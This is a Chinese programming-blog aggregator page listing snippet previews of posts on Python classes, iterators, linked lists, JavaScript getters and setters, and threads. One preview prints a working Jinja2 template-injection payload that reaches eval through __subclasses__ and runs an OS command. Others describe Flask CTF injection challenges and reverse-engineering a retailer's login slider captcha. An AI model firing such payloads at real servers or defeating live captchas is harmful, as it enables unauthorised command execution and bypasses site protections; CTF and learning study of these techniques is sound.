ICode9

精准搜索请尝试: 精确搜索
  • 实例方法、类方法、静态方法2021-08-02 13:59:17

    打印类的相关属性 print(dec.__doc__)  #类的说明 print(dec.__name__) #类的名字 print(dec.__module__)  #从哪个地方开始执行 print(dec.__bases__)  #类的父类 print(dec.__dict__)  #类的所有属性放在字典  实例方法      定义:第一个参数必须是实例对象,该参数

  • python 迷宫求路(递归方法)2021-07-29 14:58:06

    代码样本:   class MazeRoute:# 定义类MazeRoute def __init__(self,arr,m,n):#在类实例创建的时候自动会被执行。 self.__arr = arr # 定义私有类成员self.__arr二维列表作为迷宫 self.__m = m # 定义私有类成员self.__m为迷宫的深度 self._

  • js逆向某东滑块 转载 https://mp.weixin.qq.com/s/eZSTfduYS63-LOvkAofxqA2021-07-26 10:03:35

      首先在此声明,本文章仅仅用于研究学习,不可用于任何商业活动,否则后果自负。如侵权请与我联系,立即删除。 唠嗑 俺来自河南,愿望我大河南平安!         没错今天,我又来搞事情了,咱们今天学习一下某东登录时的滑块的加密。废话不多说了,开干。 加密分析与定位   当我们输入账号

  • Python基础学习3(函数的魅力)2021-07-22 13:02:46

    Python基础学习3(函数的魅力) 练习题1 答1 #1.怎么给函数编写文档 '''将注释放在def语句下面,(单引号,双引号,三引号都可以),在通过func.__doc__查看文档''' def double(a): '''返回两倍''' a *= 2 return a print(double.__doc__) print(double(2)) #返回两倍

  • Python3 三器个人理解2021-07-20 17:00:07

    一:迭代器 迭代是重复反馈过程的活动,迭代器就是重复反馈过程活动的容器(python中为对象)。 迭代器从序列的第一个元素访问,中间不能后退直至所有元素被访问结束。 迭代器只有在迭代到某个元素时才计算该元素,在此之前的或之后的可以不存在或者被销毁。因此资源占比比较少。 用法: 1、使

  • [四叶草模板注入漏洞演习第三弹] flask真香2021-07-20 09:32:57

    简单的ssti,但是ssti输出点很迷,导致花了十来分钟才找到。 进入题目看到一个3D矢量模型,但是并没有找到信息传入和输出的地方: 然后思路卡在了这里,尝试了arjun和dirsearch均无果,然后发现题目的404页面是自己编写的: 尝试了一下{{2*2}}便找到了ssti点: 然后简单fuzz了一下,发现过滤的很

  • python访问限制(私有变量前面用2个下划线)2021-07-15 17:30:36

    #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2021/7/15 17:18 # @Author : wutiande class Student(object): def __init__(self,name,score): self.__name = name self.__score = score def print_score(self): print(f&quo

  • 理解javaScript之Object.prototype.__defineSetter__()2021-07-15 11:33:02

                     Object.prototype.__defineSetter__()           定义:__defineSetter__ 方法可以将一个函数绑定在当前对象的指定属性上,当那个属性被赋值时,你所绑定的函数就会被调用。           其实在上面这句官方语言里面,我们就可以知道了几点

  • 理解javaScript之Object.prototype.__defineGetter__()2021-07-15 11:00:48

    Object.prototype.__defineGetter__()   为啥要学习这个方法?因为这VUE.JS的底层原理息息相关,想要更加深刻学习VUE以及各大框架,需要去学习深层次的JS           定义:__defineGetter__ 方法可以将一个函数绑定在当前对象的指定属性上,当那个属性的值被读取时,你所绑定的

  • 单链表的练习2021-07-13 18:34:19

    class Node(object): def __init__(self,item): self.item=item self.next=None class SigleLinkList(object): def __init__(self): self.__head=None def is_empty(self): return self.__head==None def length(self):

  • python面向对象之property装饰器2021-07-13 16:32:40

    property装饰器 property装饰器:将一个函数功能伪装成一个数据属性 版本一: class Foo: def __init__(self, name, age): self.__name = name self.age = age @property def name(self): return self.__name #obj.name访问的是sel

  • SSTI的一些读取命令2021-07-12 16:02:40

    直接用OS模块执行系统命令查看根目录 {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% end

  • pyalgotrade源码分析4--PyAlgoTrade统计指标2021-07-12 15:33:36

    统计指标的计算: 在前面分析流程的过程中提到过barfeed中__onBars()方法。 def __onBars(self, dateTime, bars): # 计算统计指标 self.__notifyAnalyzers(lambda s: s.beforeOnBars(self, bars)) # 运行策略onBars方法,onBars方法正是我们买卖的核心, self.onBars(bars)

  • 数据结构与算法 -- 栈与队列2021-07-11 15:52:11

    目录 前言 一、栈与队列的概念 栈 队列 -- 树 二、栈的实现 三、队列的实现 四、双端队列 1. 概念 2. 操作 3. 实现 前言 关注栈与队列的操作,不关注它的存放。 线性表(顺序表与链表)描述的是数据的存放。 栈和队列描述的操作。 栈和队列是对顺序表和链表的二次开发! 一、栈与

  • object.__doc__和help(object)2021-07-07 18:02:53

    在python中一切皆对象。 对象.__doc__属性用来输出对象的文档注释内容; dir()用来查询一个类或者对象所有属性,返回值是一个列表 help(object) help()方法可以输出对象的类型、方法和属性等详细信息,方便知道具体用法; eg: >>> print(list.__doc__)list() -> new empty listlist(itera

  • 59.Python:类与对象介绍2021-07-06 13:35:18

    # 类# ##########先定义类# 类是对象相似数据与功能的几何体# 所以类体中最常见的是变量与函数的定义,但是类体其实是可以包含任意其他代码的# 注意:类体代码是在类定义阶段就会立即执行"""class 类名(推荐驼峰体) 内容"""stu_obj = { 'stu_name': 'SEPIA', 'stu_age': 21,

  • 迭代器+生成器+函数递归+三元表达式+生成式+二分法2021-07-05 21:33:24

    内容概要 迭代器 生成器 函数递归 三元表达式 生成式 二分法 内容详细 迭代器 # 1.什么是迭代器 # 迭代器指的是迭代取值的工具,迭代是一个重复的过程, # 每次重复都是基于上一次的结果而继续的,单纯的重复并不是迭代 # 2.为何要有迭代器 # 迭代器是用来迭代取值的工

  • 迭代器、生成器、递归、三元表达、生成式2021-07-02 19:04:11

    一、迭代器 概念 1、什么是迭代器 迭代器就是用来迭代取值的工具,那么什么是迭代呢?迭代就是一个重复的过程,但每次重复都是基于上一次结果进行的 # 单纯的重复不叫迭代 while True: 1 + 1 # 下面才属于迭代过程 count = 1 while count < 5: print(count) count += 1 2、为

  • python面向对象2021-07-02 01:31:35

    操作Redis集群: import rediscluster import redis # startup_nodes = [ # {"host":"118.24.3.40","password":"HK139bc&*","port":6379}, # {"host":"118.24.3.41","password":&q

  • 物联网系统集成2021-06-27 17:01:18

    1. 简述物联网的体系架构及各层次的功能。 感知层:感知主要是对生物世界和物理世界的数据进行采集 网络层:建立互联网通信,主要是解决感知层的数据进行长距离传输问题 应用层:针对用户的需求将数据进行可视化,对接API等,实现数据的智能应用。 2. 简述物联网系统常用单片机特点及用

  • 属性---@property将方法伪装成属性2021-06-21 13:58:26

    计算人的BMI指数:体重除以身高的平方 class Person: def __init__(self, name, hight, weight): self.name = name self.__hight = hight self.__weight = weight def bmi(self): return "%s 的 bmi 值%s" % (self.name, self.__weight /

  • [RootersCTF2019] I_<3_Flask2021-06-20 02:04:50

    简单的参数爆破+jinja2模板注入(ssti) 解题过程 打开题目,从题目名称以及主页面可知题目是由Flask搭建 第一思路应该是寻找Flash路由,扫了一下发现没有源码泄漏,常见的一些隐藏提示点都看了一下,发现没有什么提示 在这里就需要考虑一下参数爆破了,使用工具Arjun进行参数爆破: python3 ar

  • 类的私有成员2021-06-18 18:36:21

    1、类的公有成员 class A: # 公有静态属性 name = "Jane" def __init__(self, username): # 公有对象属性 self.username = username # 公有动态方法 def func(self): pass 2. 类的私有成员,就是在普通的属性和方法名前加两个下

  • pthread_cancel 退出线程引起死锁的问题和解决方法2021-06-17 19:02:29

            Posix的线程终止有两种情况:正常终止和非正常终止。线程主动调用pthread_exit()或者从线程函数中return都将使线程正常退出,这是可预见的退出方式;非正常终止是线程在其他线程的干预下,或者由于自身运行出错(比如访问非法地址)而退出,比如pthreead_cancel,这种退出方式是

  • python中的魔法函数2021-06-14 21:01:17

    python中的魔法函数以双下划线开头、结尾,不能自定义。下面介绍一些: 0、特殊属性 序号名称意义备注(1)__doc__该函数的文档字符串,没有则为 None;不会被子类继承。可写(2)__name__该函数的文档字符串,没有则为 None;不会被子类继承。可写(3)__qualname__一个以点号分隔的名称,显示

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有